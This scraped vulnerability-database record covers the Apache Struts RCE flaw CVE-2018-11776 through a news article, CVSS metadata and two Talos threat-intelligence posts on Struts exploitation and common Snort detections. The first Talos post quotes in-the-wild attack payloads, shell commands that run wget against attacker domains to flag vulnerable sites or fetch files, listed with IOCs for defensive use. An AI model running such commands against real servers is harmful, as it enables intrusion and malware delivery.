New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers

2018-08-22T14:04:00

Description

[![apache struts vulnerability hacking](https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png)](<https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png>) Semmle security researcher Man Yue Mo has [disclosed](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>) a critical remote code execution vulnerability in the popular Apache Struts web application framework that could allow remote attackers to run malicious code on the affected servers. Apache Struts is an open source framework for developing web applications in the Java programming language and is widely used by enterprises globally, including by 65 percent of the Fortune 100 companies, like Vodafone, Lockheed Martin, Virgin Atlantic, and the IRS. The vulnerability (**CVE-2018-11776**) resides in the core of Apache Struts and originates because of insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. The newly found Apache Struts exploit can be triggered just by visiting a specially crafted URL on the affected web server, allowing attackers to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. ## Struts2 Vulnerability - Are You Affected? All applications that use Apache Struts—supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions—are potentially vulnerable to this flaw, even when no additional plugins have been enabled. > "This vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers," Yue Mo said. Your Apache Struts implementation is vulnerable to the reported RCE flaw if it meets the following conditions: * The **alwaysSelectFullNamespace** flag is set to true in the Struts configuration. * Struts configuration file contains an "action" or "url" tag that does not specify the optional namespace attribute or specifies a wildcard namespace. According to the researcher, even if an application is currently not vulnerable, "an inadvertent change to a Struts configuration file may render the application vulnerable in the future." ## Here's Why You Should Take Apache Struts Exploit Seriously Less than a year ago, credit rating agency Equifax exposed [personal details of its 147 million consumers](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) due to their failure of patching a similar [Apache Struts flaw](<https://thehackernews.com/2017/03/apache-struts-framework.html>) that was disclosed earlier that year (CVE-2017-5638). The Equifax breach cost the company over $600 million in losses. > "Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit," said Pavel Avgustinov, Co-founder & VP of QL Engineering at Semmle. > "A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system." ## Patch Released for Critical Apache Struts Bug [![apache struts vulnerability exploit](https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png)](<https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png>) Apache Struts has fixed the vulnerability with the release of Struts versions 2.3.35 and 2.5.17. Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible. We have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in [PoC exploits](<https://thehackernews.com/2017/03/apache-struts-framework.html>) being published within a day, and exploitation of the [vulnerability in the wild](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>), putting critical infrastructure as well as customers' data at risk. Therefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now. This is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar [remote code execution vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) (CVE-2017-9805) in Apache Struts. ## UPDATE — Apache Struts RCE Exploit PoC Released [![apache struts exploit poc rce vulnerability](https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png)](<https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png>) A security researcher has today released [a PoC exploit](<https://github.com/jas502n/St2-057/blob/master/README.md>) for the newly discovered remote code execution (RCE) vulnerability (CVE-2018-11776) in Apache Struts web application framework.

{"id": "THN:89C2482FECD181DD37C6DAEEB7A66FA9", "vendorId": null, "type": "thn", "bulletinFamily": "info", "title": "New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers", "description": "[![apache struts vulnerability hacking](https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png)](<https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png>)\n\nSemmle security researcher Man Yue Mo has [disclosed](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>) a critical remote code execution vulnerability in the popular Apache Struts web application framework that could allow remote attackers to run malicious code on the affected servers. \n \nApache Struts is an open source framework for developing web applications in the Java programming language and is widely used by enterprises globally, including by 65 percent of the Fortune 100 companies, like Vodafone, Lockheed Martin, Virgin Atlantic, and the IRS. \n \nThe vulnerability (**CVE-2018-11776**) resides in the core of Apache Struts and originates because of insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. \n \nThe newly found Apache Struts exploit can be triggered just by visiting a specially crafted URL on the affected web server, allowing attackers to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. \n \n\n\n## Struts2 Vulnerability - Are You Affected?\n\n \nAll applications that use Apache Struts\u2014supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions\u2014are potentially vulnerable to this flaw, even when no additional plugins have been enabled. \n \n\n\n> \"This vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\" Yue Mo said.\n\n \nYour Apache Struts implementation is vulnerable to the reported RCE flaw if it meets the following conditions: \n\n\n * The **alwaysSelectFullNamespace** flag is set to true in the Struts configuration.\n * Struts configuration file contains an \"action\" or \"url\" tag that does not specify the optional namespace attribute or specifies a wildcard namespace.\nAccording to the researcher, even if an application is currently not vulnerable, \"an inadvertent change to a Struts configuration file may render the application vulnerable in the future.\" \n \n\n\n## Here's Why You Should Take Apache Struts Exploit Seriously\n\n \nLess than a year ago, credit rating agency Equifax exposed [personal details of its 147 million consumers](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) due to their failure of patching a similar [Apache Struts flaw](<https://thehackernews.com/2017/03/apache-struts-framework.html>) that was disclosed earlier that year (CVE-2017-5638). \n \nThe Equifax breach cost the company over $600 million in losses. \n\n\n> \"Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\" said Pavel Avgustinov, Co-founder & VP of QL Engineering at Semmle.\n\n> \"A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system.\"\n\n \n\n\n## Patch Released for Critical Apache Struts Bug\n\n[![apache struts vulnerability exploit](https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png)](<https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png>)\n\nApache Struts has fixed the vulnerability with the release of Struts versions 2.3.35 and 2.5.17. Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible. \n \nWe have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in [PoC exploits](<https://thehackernews.com/2017/03/apache-struts-framework.html>) being published within a day, and exploitation of the [vulnerability in the wild](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>), putting critical infrastructure as well as customers' data at risk. \n \nTherefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now. \n \nThis is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar [remote code execution vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) (CVE-2017-9805) in Apache Struts. \n \n\n\n## UPDATE \u2014 Apache Struts RCE Exploit PoC Released\n\n[![apache struts exploit poc rce vulnerability](https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png)](<https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png>)\n\nA security researcher has today released [a PoC exploit](<https://github.com/jas502n/St2-057/blob/master/README.md>) for the newly discovered remote code execution (RCE) vulnerability (CVE-2018-11776) in Apache Struts web application framework.\n", "published": "2018-08-22T14:04:00", "modified": "2018-08-23T18:30:56", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 10.0, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, "href": 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{"type": "pentestit", "idList": ["PENTESTIT:37744BAB82BC3A7B208CCD4945FA50F7"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:110CC96D8440CC2A1EA0521D300634ED"]}, {"type": "rapid7community", "idList": ["RAPID7COMMUNITY:078B46BBA3057CDE37845D48479CC3DD"]}, {"type": "redhatcve", "idList": ["RH:CVE-2018-11776"]}, {"type": "saint", "idList": ["SAINT:01D1CBFEFCD799FC1DCF4DD30F44F248", "SAINT:1AF820E0642E7888070E0C7DD723BBAE", "SAINT:49062325B1FAB54D731E4C8FBF78D940", "SAINT:966010900F7632E797C552D31C2BB53A"]}, {"type": "seebug", "idList": ["SSV:92746", "SSV:92804", "SSV:96420"]}, {"type": "talosblog", "idList": ["TALOSBLOG:DB8F26399F12B0F9B9309365CB42D9BB"]}, {"type": "thn", "idList": ["THN:2707247140A4F620671B33D68FEB1EA9", "THN:3F47D7B66C8A65AB31FAC5823C96C34D", "THN:460709FF530ED7F35B5817A55F1BF2C6", "THN:6C0E5E35ABB362C8EA341381B3DD76D6", "THN:ACD3479531482E2CA5A8E15EB6B47523"]}, {"type": "threatpost", "idList": ["THREATPOST:0308A7143D92E14583CCD684912ABD67", "THREATPOST:2F30C320035805DB537579B86877517E", "THREATPOST:31661FC1D8CDC4988A6B8EB802933A7B", "THREATPOST:477B6029652B76463B5C5B7155CDF736", "THREATPOST:5E633FD1C6A5B5BB74F1B6A8399001A2", "THREATPOST:6495B216452F8FF8CDF9A8F13AD41168", "THREATPOST:7DFB677F72D6258B3CDEE746C764E29E", "THREATPOST:7E66A86C86BE8481D1B905B183CA42C3", "THREATPOST:9E84C27A33C751DE6ECC9BAAF9C0F19B", "THREATPOST:AD5395CA5B3FD95FAD8E67B675D0AFCA", "THREATPOST:CD1CBFA154DFAA1F3DC0E2E5CFA58D0A", "THREATPOST:D5150098043DAE7CDF2E31618C33F5D2", "THREATPOST:D70CED5C745CA3779F2D02FBB6DBA717", "THREATPOST:FC5665486C9D63E5C0C242F47F66ACF1"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:2E02CB122DC8C3DB57EF3830829E9913", "TRENDMICROBLOG:5232F354244FCA9F40053F10BE385E28", "TRENDMICROBLOG:5DA0AA0203F450ED9FF0CB21A89017BB"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2017-9805"]}, {"type": "vmware", "idList": ["VMSA-2017-0004.7"]}, {"type": "zdt", "idList": ["1337DAY-ID-28445"]}]}, "exploitation": null, "epss": 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{"talosblog": [{"lastseen": "2017-09-08T17:15:47", "description": "<i>This post authored by <a href=\"https://twitter.com/infosec_nick\">Nick Biasini</a> with contributions from <a href=\"https://twitter.com/nschmx\">Alex Chiu</a>.</i><br /><br />Earlier this week, a critical vulnerability in <a href=\"https://cwiki.apache.org/confluence/display/WW/S2-052\">Apache Struts</a> was publicly disclosed in a security advisory. This new vulnerability, identified as CVE-2017-9805, manifests due to the way the REST plugin uses XStreamHandler with an instance of XStream for deserialization without any type filtering. As a result, a remote, unauthenticated attacker could achieve remote code execution on a host running a vulnerable version of Apache Struts.<br /><br />This isn't the only vulnerability that has been recently identified in Apache Struts. <a href=\"http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html\">Earlier this year</a>, Talos responded to a zero-day vulnerability that was under active exploitation in the wild. Talos has observed exploitation activity targeting CVE-2017-9805 in a way that is similar to how CVE-2017-5638 was exploited back in March 2017.<br /><br /><a name='more'></a><br /><h3 id=\"h.yjfcx7oxvccx\">Details</h3>Immediately after the reports surfaced related to this exploit, Talos began researching how it operated and began work to develop coverage to prevent successful exploitation. This was achieved and we immediately began seeing active exploitation in the wild. Thus far, exploitation appears to be primarily scanning activity, with outbound requests that appear to be identifying systems that are potentially vulnerable. Below is a sample of the type of HTTP requests we have been observing.<br /><blockquote class=\"tr_bq\"><string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite</string></blockquote>This would initiate a wget request that would write the contents of the HTTP response to /dev/null. This indicates it is purely a scanning activity that identifies to the remote server which websites are potentially vulnerable to this attack. This is also a strong possibility since it includes the compromised website in the URL. There was one other small variation that was conducting a similar request to the same website.<br /><blockquote class=\"tr_bq\"><string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?`echo ...vulnerablesite...`</string></blockquote>During our research we found that the majority of the activity was trying to POST to the path of /struts2-rest-showcase/orders/3. Additionally most of the exploitation attempts are sending the data to wildkind[.]ru, with a decent amount of the requests originating from the IP address associated with wildkind[.]ru, 188.120.246[.]215.<br /><br /><table align=\"center\" cellpadding=\"0\" cellspacing=\"0\" class=\"tr-caption-container\" style=\"margin-left: auto; margin-right: auto; text-align: center;\"><tbody><tr><td style=\"text-align: center;\"><a href=\"https://2.bp.blogspot.com/-43pwp2mOpHE/WbHJQlk9djI/AAAAAAAABTo/cc3B9_qI3U4-sU6F-Eq3Rf2MsdlzqJB8wCLcBGAs/s1600/image2.png\" imageanchor=\"1\" style=\"margin-left: auto; margin-right: auto;\"><img border=\"0\" data-original-height=\"867\" data-original-width=\"1600\" height=\"346\" src=\"https://2.bp.blogspot.com/-43pwp2mOpHE/WbHJQlk9djI/AAAAAAAABTo/cc3B9_qI3U4-sU6F-Eq3Rf2MsdlzqJB8wCLcBGAs/s640/image2.png\" width=\"640\" /></a></td></tr><tr><td class=\"tr-caption\" style=\"text-align: center;\">Example of in the wild exploitation</td></tr></tbody></table>Other exploitation attempts have been identified where Talos believes another threat actor appears to be exploiting the vulnerability for a different purpose. An example of the web requests found in the exploitation attempts can be found below.<br /><blockquote class=\"tr_bq\"><string>wget</string><string>hxxp://st2buzgajl.alifuzz[.]com/052</string></blockquote>Unfortunately, we were unable to retrieve the potentially malicious file that was being served at this particular location. If the previous Struts vulnerability is any indicator, the payloads could vary widely and encompass threats such as DDoS bots, spam bots, and various other malicious payloads.<br /><br /><h3 id=\"h.1teoyjf4qh2n\">IOCs</h3>IP Addresses Observed: <br /><ul><li>188.120.246[.]215</li><li>101.37.175[.]165</li><li>162.158.182[.]26</li><li>162.158.111[.]235</li><li>141.101.76[.]226</li><li>141.101.105[.]240</li></ul>Domains Contacted:<br /><ul><li>wildkind[.]ru</li><li>st2buzgajl.alifuzz[.]com</li></ul>Commonly Used Path:<br /><ul><li>/struts2-rest-showcase/orders/3</li></ul><h3 id=\"h.yv6ldyfuky10\">Mitigation</h3>Apache has released a new version of Struts that resolves this issue. If you believe that you have a potentially vulnerable version of Apache struts there are two options: upgrade to Struts 2.5.13 / Struts 2.3.34 or remove the REST plugin if it's not actively being used. Instructions to achieve this are provided as part of the <a href=\"https://cwiki.apache.org/confluence/display/WW/S2-052\">security bulletin</a> and should be reviewed and tested before applying in a production environment. In the event it's not possible to upgrade or remove the REST plugin, limiting it to server normal pages and JSONs may help limit the risk the compromise.<br /><h3 id=\"h.dp04v9qgtelp\">Conclusion</h3>This is the latest in a long line of vulnerabilities that are exposing servers to potential exploitation. In today's threat landscape a lot of attention is paid to endpoint systems being compromised, and with good reason, as it accounts for the majority of the malicious activity we observe on a daily basis. However, that does not imply that patching of servers should not be an extremely high priority. These types of systems, if compromised, can potentially expose critical data and systems to adversaries.<br /><br />The vulnerability is yet another example of how quickly miscreants will move to take advantage of these types of issues. Within 48 hours of disclosure we were seeing systems activity exploiting the vulnerability. To their credit the researchers disclosed the vulnerability responsibly and a patch was available before disclosure occurred. However, with money at stake bad guys worked quickly to reverse engineer the issue and successfully develop exploit code to take advantage of it. In today's reality you no longer have weeks or months to respond to these type of vulnerabilities, it's now down to days or hours and every minute counts. Ensure you have protections in place or patches applied to help prevent your enterprise from being impacted.<br /><h3 id=\"h.myaej86w3pvi\">Coverage</h3>Talos has released the following Snort rule to address this vulnerability. Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. Firepower customers should use the latest update to their ruleset by updating their SRU. Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on <a href=\"https://snort.org/products\">Snort.org</a>.<br /><br />Snort Rule: 44315<br /><br /><div class=\"separator\" style=\"clear: both; text-align: center;\"><a href=\"https://2.bp.blogspot.com/-U6SRWeSjeTM/WbHJZe1FSrI/AAAAAAAABTs/N-Z3A0kgDZUf0j3-p0b7-PSV7hVX3TZMACLcBGAs/s1600/image1.png\" imageanchor=\"1\" style=\"clear: left; float: left; margin-bottom: 1em; margin-right: 1em;\"><img border=\"0\" data-original-height=\"1341\" data-original-width=\"1600\" height=\"268\" src=\"https://2.bp.blogspot.com/-U6SRWeSjeTM/WbHJZe1FSrI/AAAAAAAABTs/N-Z3A0kgDZUf0j3-p0b7-PSV7hVX3TZMACLcBGAs/s320/image1.png\" width=\"320\" /></a></div><br /><br />Network Security appliances such as <a href=\"https://www.cisco.com/c/en/us/products/security/firewalls/index.html\">NGFW</a>, <a href=\"https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html\">NGIPS</a>, and <a href=\"https://meraki.cisco.com/products/appliances\">Meraki MX</a> can detect malicious activity associated with this threat.<br /><br /><div class=\"feedflare\">\n<a href=\"http://feeds.feedburner.com/~ff/feedburner/Talos?a=nXfzZg_yH_w:t_cz9fDBuvo:yIl2AUoC8zA\"><img src=\"http://feeds.feedburner.com/~ff/feedburner/Talos?d=yIl2AUoC8zA\" border=\"0\"></img></a>\n</div><img src=\"http://feeds.feedburner.com/~r/feedburner/Talos/~4/nXfzZg_yH_w\" height=\"1\" width=\"1\" alt=\"\"/>", "cvss3": {}, "published": "2017-09-07T15:42:00", "title": "Another Apache Struts Vulnerability Under Active Exploitation", "type": "talosblog", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-08T15:49:47", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/nXfzZg_yH_w/apache-struts-being-exploited.html", "id": "TALOSBLOG:DB8F26399F12B0F9B9309365CB42D9BB", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-02-12T15:23:07", "description": "_This blog post was authored by Benny Ketelslegers of Cisco Talos_ \n_ \n_The cybersecurity field shifted quite a bit in 2018. With the boom of cryptocurrency, we saw a transition from ransomware to [cryptocurrency miners](<https://blog.talosintelligence.com/2018/01/malicious-xmr-mining.html>). Talos researchers identified APT campaigns including [VPNFilter](<https://blog.talosintelligence.com/2018/05/VPNFilter.html>), predominantly affecting small business and home office networking equipment, as well as [Olympic Destroyer](<https://blog.talosintelligence.com/2018/02/olympic-destroyer.html>), apparently designed to disrupt the Winter Olympics. \n \nBut these headline-generating attacks were only a small part of the day-to-day protection provided by security systems. In this post, we'll review some of the findings created by investigating the most frequently triggered SNORT\u24c7 rules as reported by [Cisco Meraki](<https://meraki.cisco.com/>) systems. These rules protected our customers from some of the most common attacks that, even though they aren't as widely known, could be just as disruptive as something like Olympic Destroyer. Snort is a free, open-source network intrusion prevention system. Cisco Talos provides new rule updates to Snort every week to protect against software vulnerabilities and the latest malware. \n \n \n\n\n### Top 5 Rules\n\n \nSnort rules trigger on network behavior ranging from attempts to probe networked systems, attempts at exploiting systems, to detecting known malicious command and control traffic. Each rules detects specific network activity, and each rules has a unique identifier. This identifier is comprised of three parts. The Generator ID (GID), the rule ID (SID) and revision number. The GID identifies what part of Snort generates the event. For example, \"1\" indicates an event has been generated from the text rules subsystem. The SID uniquely identifies the rule itself. You can search for information on SIDs via the search tool on the [Snort website](<https://www.snort.org/>). The revision number is the version of the rule. Be sure to use the latest revision of any rule. \n \nSnort rules are classified into different classes based on the type of activity detected with the most commonly reported class type being \"policy-violation\" followed by \"trojan-activity\" and \"attempted-admin.\" Some less frequently reported class types such as \"attempted user\" and \"web-application-attack\" are particularly interesting in the context of detecting malicious inbound and outbound network traffic. \n \nCisco Meraki-managed devices protect clients networks and give us an overview of the wider threat environment. These are the five most triggered rules within policy, in reverse order. \n \n\n\n#### No. 5: 1:43687:2 \"suspicious .top dns query\"\n\n \nThe .top top-level domain extension is a generic top level domain and has been observed in malware campaigns such as the [Angler exploit kit](<https://blog.talosintelligence.com/2016/03/angler-slips-hook.html>) and the [Necurs botnet](<https://blog.talosintelligence.com/2018/01/the-many-tentacles-of-necurs-botnet.html>). This top-level domain can be bought as cheap as 1 USD and is the reason it is very popular with cybercriminals for their malware and phishing campaigns. \n \nThis signature triggers on DNS lookups for .top domains. Such a case doesn\u2019t necessarily mean that such a lookup is malicious in nature, but it can be a useful indicator for suspicious activity on a network. A sharp increase in this rule triggering on a network should be investigated as to the cause, especially if a single device is responsible for a large proportion of these triggers. \n \n\n\n#### No. 4: 1:41978:5 \"Microsoft Windows SMB remote code execution attempt\"\n\n \nIn May 2017, a [vulnerability](<https://www.us-cert.gov/ncas/current-activity/2017/03/16/Microsoft-SMBv1-Vulnerability>) in SMBv1 was published that could allow remote attackers to execute arbitrary code via crafted packets. This led to the outbreak of the network worms [Wannacry](<https://blog.talosintelligence.com/2017/05/wannacry.html>) and [Nyetya](<https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html>) in 2017. Although it did not make our top five rules in 2017, it seems there was still a lot scanning or attempts to exploit this vulnerability in 2018. This shows the importance of network defenses and patching management programs as often as possible. \n \nOrganizations should ensure that devices running Windows are fully patched. Additionally, they should have SMB ports 139 and 445 blocked from all externally accessible hosts. \n \n\n\n#### No. 3: 1:39867:4 \"Suspicious .tk dns query\"\n\n \nThe .tk top-level domain is owned by the South Pacific territory of Tokelau. The domain registry allows for the registration of domains without payment, which leads to the .tk top level domain being one of the most prolific in terms of the number of domain names registered. However, this free registration leads to .tk domains frequently being abused by attackers. \n \nThis rule triggers on DNS lookups for .tk domains. Such a case doesn't necessarily mean that such a lookup is malicious in nature, but it can be a useful indicator for suspicious activity on a network. A sharp increase in this rule triggering on a network should be investigated as to the cause, especially if a single device is responsible for a large proportion of these triggers. \n \nOther, similar rules detecting DNS lookups to other rarely used top-level domains such as .bit, .pw and .top also made into our list of top 20 most triggered rules. \n \n\n\n#### No. 2: 1:35030:1 & 1:23493:6 \"Win.Trojan.Zeus variant outbound connection\"\n\n \nHistorically, one of the most high-profile pieces of malware is [Zeus/Zbot](<https://talosintelligence.com/zeus_trojan>), a notorious trojan that has been employed by botnet operators around the world to steal banking credentials and other personal data, participate in click-fraud schemes, and likely numerous other criminal enterprises. It is the engine behind notorious botnets such as Kneber, which made headlines worldwide. \n \nIn the beginning of 2018, Talos observed a [Zeus variant](<https://blog.talosintelligence.com/2018/01/cfm-zeus-variant.html>) that was launched using the official website of Ukraine-based accounting software developer Crystal Finance Millennium (CFM). \n \nThis vector is similar to the attack outlined by Talos in the Nyetya and companion MeDoc blog post. Ukrainian authorities and businesses were alerted by local security firm (ISSP) that another accounting software maker had been compromised. CFM's website was being used to distribute malware that was retrieved by malware downloaders attached to messages associated with a concurrent spam campaign. \n \nEver since the source code of Zeus leaked in 2011, we have seen various variants appear such as [Zeus Panda](<https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html>) which poisoned Google Search results in order to spread. \n \n\n\n#### No. 1: 1:46237:1 \"PUA-OTHER Cryptocurrency Miner outbound connection attempt\" & \"1:45549:4 PUA-OTHER XMRig cryptocurrency mining pool connection attempt\"\n\n \nOver the past year, we have seen a seismic shift in the threat landscape with the explosive growth of malicious cryptocurrency mining. Cisco Talos created various rules throughout the year to combat Cryptocurrency mining threats and this rule deployed in early 2018, proved to be the number 1 showing the magnitude of attacks this rule detected and protected against. This threat has spread across the internet like wildfire and is being delivered through multiple vectors including email, web, and active exploitation. It is no surprise that these two combined rules are the most often observed triggered Snort rule in 2018. \n \nCryptocurrency mining can use up a considerable amount of computing power and energy that would otherwise be incredibly valuable to any organization. \n \nFor an overview of all related snort rules and full details of all the methods and technologies Cisco Talos uses to thwart cryptocurrency mining, download the Talos whitepaper [here](<https://www.talosintelligence.com/resources/59>). \n \n\n\n \n\n\n[![](https://2.bp.blogspot.com/-XcaLfnec00Q/XFsp6eXg_rI/AAAAAAAAACI/fxssE2sbuesqNKpMzg1Lbqnod5iU9u4oQCLcBGAs/s640/012419-Snort-Sigs-Blog-outbound-connection-attempt.png)](<https://2.bp.blogspot.com/-XcaLfnec00Q/XFsp6eXg_rI/AAAAAAAAACI/fxssE2sbuesqNKpMzg1Lbqnod5iU9u4oQCLcBGAs/s1600/012419-Snort-Sigs-Blog-outbound-connection-attempt.png>)\n\n \n\n\n### INBOUND and OUTBOUND\n\n \nNetwork traffic can cross an IDS from external to internal (inbound), from the internal to external (outbound) interfaces or depending on the architecture of your environment the traffic can avoid being filtered by a firewall or inspected by an IPS/IDS device; this will generally be your local/internal traffic on the same layer2 environment. An alert may be triggered and logged for any of these scenarios depending on the rulesets in place and the configuration of your sensors. \n \n \nOutbound rules were triggered during 2018 much more frequently than internal, which in turn, were more frequent than inbound with ratios of approximately 6.9 to 1. The profile of the alerts are different for each direction. Inbound alerts are likely to detect traffic that can be attributed to attacks on various server-side applications such as web applications or databases. Outbound alerts are more likely to contain detection of outgoing traffic caused by malware infected endpoints. \n \nLooking at these data sets in more detail gives us the following: \n \n\n\n[![](https://4.bp.blogspot.com/-p8YZlzLMQXE/XFsqAliaQcI/AAAAAAAAACM/XhgffiU6hUYdyd21OCDF_QJAEpBKYYn1gCLcBGAs/s640/012419-Snort-Sigs-Blog-inbound-signature-types.png)](<https://4.bp.blogspot.com/-p8YZlzLMQXE/XFsqAliaQcI/AAAAAAAAACM/XhgffiU6hUYdyd21OCDF_QJAEpBKYYn1gCLcBGAs/s1600/012419-Snort-Sigs-Blog-inbound-signature-types.png>)\n\n \nWhile trojan activity was rule type we saw the most of in 2018, making up 42.5 percent of all alerts, we can now see \"Server-Apache\" taking the lead followed by \"OS-Windows\" as a close second. \n \nThe \"Server-Apache\" class type covers Apache related attacks which in this case consisted mainly of 1:41818 and 1:41819 detecting the Jakarta Multipart parser vulnerability in Apache Struts ([CVE-2017-5638](<https://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>)). Later in 2017, a second Apache Struts vulnerability was discovered under CVE-2017-9805, making this rule type the most observed one for 2018 IDS alerts. \n \n\"OS-Windows\" class alerts were mainly triggered by Snort rule 1:41978, which covers the SMBv1 vulnerability exploited by [Wannacry](<https://blog.talosintelligence.com/2017/05/wannacry.html>) and [NotPetya](<https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html>) (MS-17-010). \n \nThe \"Browser-plugins\" class type covers attempts to exploit vulnerabilities in browsers that deal with plugins to the browser. (Example: ActiveX). Most activity for 2018 seems to consist of Sid 1:8068 which is amongst others linked to the \"Microsoft Outlook Security Feature Bypass Vulnerability\" (CVE-2017-11774). \n\n\n 